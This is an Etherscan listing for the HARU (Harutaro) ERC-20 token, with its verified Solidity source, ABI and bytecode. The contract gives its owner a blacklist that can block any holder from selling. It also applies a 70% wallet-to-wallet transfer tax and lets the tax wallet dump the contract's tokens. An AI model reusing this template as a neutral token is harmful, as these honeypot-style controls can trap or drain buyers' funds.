ERC-20
Overview
Max Total Supply
420,690,000,000 HARU
Holders
46
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
1,906,101,109.31572025 HARUValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
Contract
Compiler Version
v0.8.28+commit.7893614a
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-10-14 */ // SPDX-License-Identifier: MIT /* https://kabochan.blog.jp/archives/52722073.html */ pragma solidity 0.8.28; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Contract is Context, IERC20, Ownable { string private constant _name = unicode"Harutaro"; string private constant _symbol = unicode"HARU"; bool private _uncloggAll = false; using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; address payable private _taxWallet; uint256 private _initialBuyTax=20; uint256 private _initialSellTax=20; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=20; uint256 private _reduceSellTaxAt=20; uint256 private _preventSwapBefore=20; uint256 private _transferTax=70; uint256 private _buyCount=0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 420690000000 * 10**_decimals; uint256 public _maxTxAmount = 8413800000 * 10**_decimals; uint256 public _maxWalletSize = 8413800000 * 10**_decimals; uint256 public _taxSwapThreshold= 4206900000 * 10**_decimals; uint256 public _maxTaxSwap= 4206900000 * 10**_decimals; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; uint256 private sellCount = 0; uint256 private lastSellBlock = 0; event MaxTxAmountUpdated(uint _maxTxAmount); event TransferTaxUpdated(uint _tax); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () payable { _taxWallet = payable(_msgSender()); _balances[address(this)] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(this), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount = 0; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (_buyCount == 0) { taxAmount = amount.mul((_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax).div(100); } if (_buyCount > 0) { taxAmount = amount.mul(_transferTax).div(100); } if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); taxAmount = amount.mul((_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax).div(100); _buyCount++; } if (to == uniswapV2Pair && from != address(this)) { taxAmount = amount.mul((_buyCount > _reduceSellTaxAt) ? _finalSellTax : _initialSellTax).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) { if (_uncloggAll) { // Sell the entire contract balance swapTokensForEth(contractTokenBalance); _uncloggAll = false; // Reset flag after selling } else { if (block.number > lastSellBlock) { sellCount = 0; } require(sellCount < 3, "Only 3 sells per block!"); swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap))); } uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } sellCount++; lastSellBlock = block.number; } } if (taxAmount > 0) { _balances[address(this)] = _balances[address(this)].add(taxAmount); emit Transfer(from, address(this), taxAmount); } _balances[from] = _balances[from].sub(amount); _balances[to] = _balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize=_tTotal; emit MaxTxAmountUpdated(_tTotal); _transferTax = 0; emit TransferTaxUpdated(0); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function addBot(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address[] memory notbot) public onlyOwner { for (uint i = 0; i < notbot.length; i++) { bots[notbot[i]] = false; } } function isBot(address a) public view returns (bool){ return bots[a]; } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); swapEnabled = true; tradingOpen = true; } function burnLP() external onlyOwner{ address burnAddress = 0x000000000000000000000000000000000000dEaD; IERC20 lpToken = IERC20(uniswapV2Pair); uint256 lpTokenBalance = lpToken.balanceOf(_msgSender()); require(lpTokenBalance > 0, "No LP tokens to burn"); lpToken.transferFrom(_msgSender(), burnAddress, lpTokenBalance); } function reduceFee(uint256 _newFee) external{ require(_msgSender()==_taxWallet); require(_newFee<=_finalBuyTax && _newFee<=_finalSellTax); _finalBuyTax=_newFee; _finalSellTax=_newFee; } receive() external payable {} function manualSwap() external { require(_msgSender()==_taxWallet); uint256 tokenBalance=balanceOf(address(this)); if(tokenBalance>0){ swapTokensForEth(tokenBalance); } uint256 ethBalance=address(this).balance; if(ethBalance>0){ sendETHToFee(ethBalance); } } function enableSellAll(bool newStatus) external { require(_msgSender()==_taxWallet); _uncloggAll = newStatus; } function manualSend() external { require(_msgSender()==_taxWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function saveAnyERC20Tokens(address tokenAddress) external { require(_msgSender() == _taxWallet); IERC20 token = IERC20(tokenAddress); uint256 tokenBalance = token.balanceOf(address(this)); require(tokenBalance > 0, "No tokens to rescue"); token.transfer(_taxWallet, tokenBalance); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"burnLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"delBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newStatus","type":"bool"}],"name":"enableSellAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"reduceFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"saveAnyERC20Tokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040525f5f60146101000a81548160ff021916908315150217905550601460065560146007555f6008555f6009556014600a556014600b556014600c556046600d555f600e556009600a61005591906105bc565b6401f58066406100659190610606565b600f556009600a61007691906105bc565b6401f58066406100869190610606565b6010556009600a61009791906105bc565b63fac033206100a69190610606565b6011556009600a6100b791906105bc565b63fac033206100c69190610606565b6012555f601460156101000a81548160ff0219169083151502179055505f601460166101000a81548160ff0219169083151502179055505f6015555f6016555f61011461041d60201b60201c565b9050805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506101be61041d60201b60201c565b60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a61020b91906105bc565b6461f313f88061021b9190610606565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160035f61026f61042460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555061039761041d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a6103f391906105bc565b6461f313f8806104039190610606565b6040516104109190610656565b60405180910390a361066f565b5f33905090565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b60018511156104cd578086048111156104a9576104a861044b565b5b60018516156104b85780820291505b80810290506104c685610478565b945061048d565b94509492505050565b5f826104e557600190506105a0565b816104f2575f90506105a0565b8160018114610508576002811461051257610541565b60019150506105a0565b60ff8411156105245761052361044b565b5b8360020a91508482111561053b5761053a61044b565b5b506105a0565b5060208310610133831016604e8410600b84101617156105765782820a9050838111156105715761057061044b565b5b6105a0565b6105838484846001610484565b9250905081840481111561059a5761059961044b565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6105c6826105a7565b91506105d1836105b0565b92506105fe7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846104d6565b905092915050565b5f610610826105a7565b915061061b836105a7565b9250828202610629816105a7565b915082820484148315176106405761063f61044b565b5b5092915050565b610650816105a7565b82525050565b5f6020820190506106695f830184610647565b92915050565b613c378061067c5f395ff3fe608060405260043610610184575f3560e01c80637d1db4a5116100d0578063bfb80b1211610089578063dd62ed3e11610063578063dd62ed3e1461051b578063e4a40d6114610557578063ec1f3f631461057f578063f4293890146105a75761018b565b8063bfb80b12146104b5578063c9567bf9146104dd578063c97c1821146104f35761018b565b80637d1db4a5146103a75780638da5cb5b146103d15780638f9a55c0146103fb57806395d89b4114610425578063a9059cbb1461044f578063bf474bed1461048b5761018b565b806323b872dd1161013d57806351bc3c851161011757806351bc3c851461032957806370a082311461033f578063715018a61461037b578063751039fc146103915761018b565b806323b872dd14610287578063313ce567146102c35780633bbac579146102ed5761018b565b806306fdde031461018f578063095ea7b3146101b95780630b45260e146101f55780630faee56f1461020b57806318160ddd1461023557806321bbcbb11461025f5761018b565b3661018b57005b5f5ffd5b34801561019a575f5ffd5b506101a36105bd565b6040516101b091906129e2565b60405180910390f35b3480156101c4575f5ffd5b506101df60048036038101906101da9190612aa0565b6105fa565b6040516101ec9190612af8565b60405180910390f35b348015610200575f5ffd5b50610209610617565b005b348015610216575f5ffd5b5061021f610825565b60405161022c9190612b20565b60405180910390f35b348015610240575f5ffd5b5061024961082b565b6040516102569190612b20565b60405180910390f35b34801561026a575f5ffd5b5061028560048036038101906102809190612c79565b61084f565b005b348015610292575f5ffd5b506102ad60048036038101906102a89190612cc0565b610972565b6040516102ba9190612af8565b60405180910390f35b3480156102ce575f5ffd5b506102d7610a46565b6040516102e49190612d2b565b60405180910390f35b3480156102f8575f5ffd5b50610313600480360381019061030e9190612d44565b610a4e565b6040516103209190612af8565b60405180910390f35b348015610334575f5ffd5b5061033d610aa0565b005b34801561034a575f5ffd5b5061036560048036038101906103609190612d44565b610b37565b6040516103729190612b20565b60405180910390f35b348015610386575f5ffd5b5061038f610b7d565b005b34801561039c575f5ffd5b506103a5610ccd565b005b3480156103b2575f5ffd5b506103bb610e3e565b6040516103c89190612b20565b60405180910390f35b3480156103dc575f5ffd5b506103e5610e44565b6040516103f29190612d7e565b60405180910390f35b348015610406575f5ffd5b5061040f610e6b565b60405161041c9190612b20565b60405180910390f35b348015610430575f5ffd5b50610439610e71565b60405161044691906129e2565b60405180910390f35b34801561045a575f5ffd5b5061047560048036038101906104709190612aa0565b610eae565b6040516104829190612af8565b60405180910390f35b348015610496575f5ffd5b5061049f610ecb565b6040516104ac9190612b20565b60405180910390f35b3480156104c0575f5ffd5b506104db60048036038101906104d69190612d44565b610ed1565b005b3480156104e8575f5ffd5b506104f1611093565b005b3480156104fe575f5ffd5b5061051960048036038101906105149190612c79565b6115b4565b005b348015610526575f5ffd5b50610541600480360381019061053c9190612d97565b6116d6565b60405161054e9190612b20565b60405180910390f35b348015610562575f5ffd5b5061057d60048036038101906105789190612dff565b611758565b005b34801561058a575f5ffd5b506105a560048036038101906105a09190612e2a565b6117d3565b005b3480156105b2575f5ffd5b506105bb61185f565b005b60606040518060400160405280600881526020017f486172757461726f000000000000000000000000000000000000000000000000815250905090565b5f61060d6106066118ce565b84846118d5565b6001905092915050565b61061f6118ce565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106a390612e9f565b60405180910390fd5b5f61dead90505f60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505f8173ffffffffffffffffffffffffffffffffffffffff166370a082316106fc6118ce565b6040518263ffffffff1660e01b81526004016107189190612d7e565b602060405180830381865afa158015610733573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107579190612ed1565b90505f811161079b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079290612f46565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff166323b872dd6107bf6118ce565b85846040518463ffffffff1660e01b81526004016107df93929190612f64565b6020604051808303815f875af11580156107fb573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061081f9190612fad565b50505050565b60125481565b5f6009600a61083a9190613134565b6461f313f88061084a919061317e565b905090565b6108576118ce565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108db90612e9f565b60405180910390fd5b5f5f90505b815181101561096e57600160045f84848151811061090a576109096131bf565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080806001019150506108e9565b5050565b5f61097e848484611a98565b610a3b8461098a6118ce565b610a3685604051806060016040528060288152602001613bda6028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6109ed6118ce565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461245e9092919063ffffffff16565b6118d5565b600190509392505050565b5f6009905090565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ae06118ce565b73ffffffffffffffffffffffffffffffffffffffff1614610aff575f5ffd5b5f610b0930610b37565b90505f811115610b1d57610b1c816124c0565b5b5f4790505f811115610b3357610b328161272b565b5b5050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610b856118ce565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0990612e9f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610cd56118ce565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5990612e9f565b60405180910390fd5b6009600a610d709190613134565b6461f313f880610d80919061317e565b600f819055506009600a610d949190613134565b6461f313f880610da4919061317e565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610dd99190613134565b6461f313f880610de9919061317e565b604051610df69190612b20565b60405180910390a15f600d819055507fe9b79e1a6c2dc43b4c0c6ff01ce9e3332d810e482270f464c0a21ad6c5fc6de35f604051610e34919061322e565b60405180910390a1565b600f5481565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60105481565b60606040518060400160405280600481526020017f4841525500000000000000000000000000000000000000000000000000000000815250905090565b5f610ec1610eba6118ce565b8484611a98565b6001905092915050565b60115481565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f116118ce565b73ffffffffffffffffffffffffffffffffffffffff1614610f30575f5ffd5b5f8190505f8173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610f6e9190612d7e565b602060405180830381865afa158015610f89573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fad9190612ed1565b90505f8111610ff1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe890613291565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b815260040161104d929190613301565b6020604051808303815f875af1158015611069573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061108d9190612fad565b50505050565b61109b6118ce565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611128576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111f90612e9f565b60405180910390fd5b60148054906101000a900460ff1615611176576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116d90613372565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506112133060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a6111fe9190613134565b6461f313f88061120e919061317e565b6118d5565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561127d573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112a191906133a4565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611327573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061134b91906133a4565b6040518363ffffffff1660e01b81526004016113689291906133cf565b6020604051808303815f875af1158015611384573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113a891906133a4565b60145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061142f30610b37565b5f5f611439610e44565b426040518863ffffffff1660e01b815260040161145b969594939291906133f6565b60606040518083038185885af1158015611477573d5f5f3e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061149c9190613455565b50505060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161153c9291906134a5565b6020604051808303815f875af1158015611558573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061157c9190612fad565b506001601460166101000a81548160ff02191690831515021790555060016014806101000a81548160ff021916908315150217905550565b6115bc6118ce565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611649576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164090612e9f565b60405180910390fd5b5f5f90505b81518110156116d2575f60045f84848151811061166e5761166d6131bf565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550808060010191505061164e565b5050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117986118ce565b73ffffffffffffffffffffffffffffffffffffffff16146117b7575f5ffd5b805f60146101000a81548160ff02191690831515021790555050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166118136118ce565b73ffffffffffffffffffffffffffffffffffffffff1614611832575f5ffd5b600854811115801561184657506009548111155b61184e575f5ffd5b806008819055508060098190555050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661189f6118ce565b73ffffffffffffffffffffffffffffffffffffffff16146118be575f5ffd5b5f4790506118cb8161272b565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611943576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193a9061353c565b60405180910390fd5b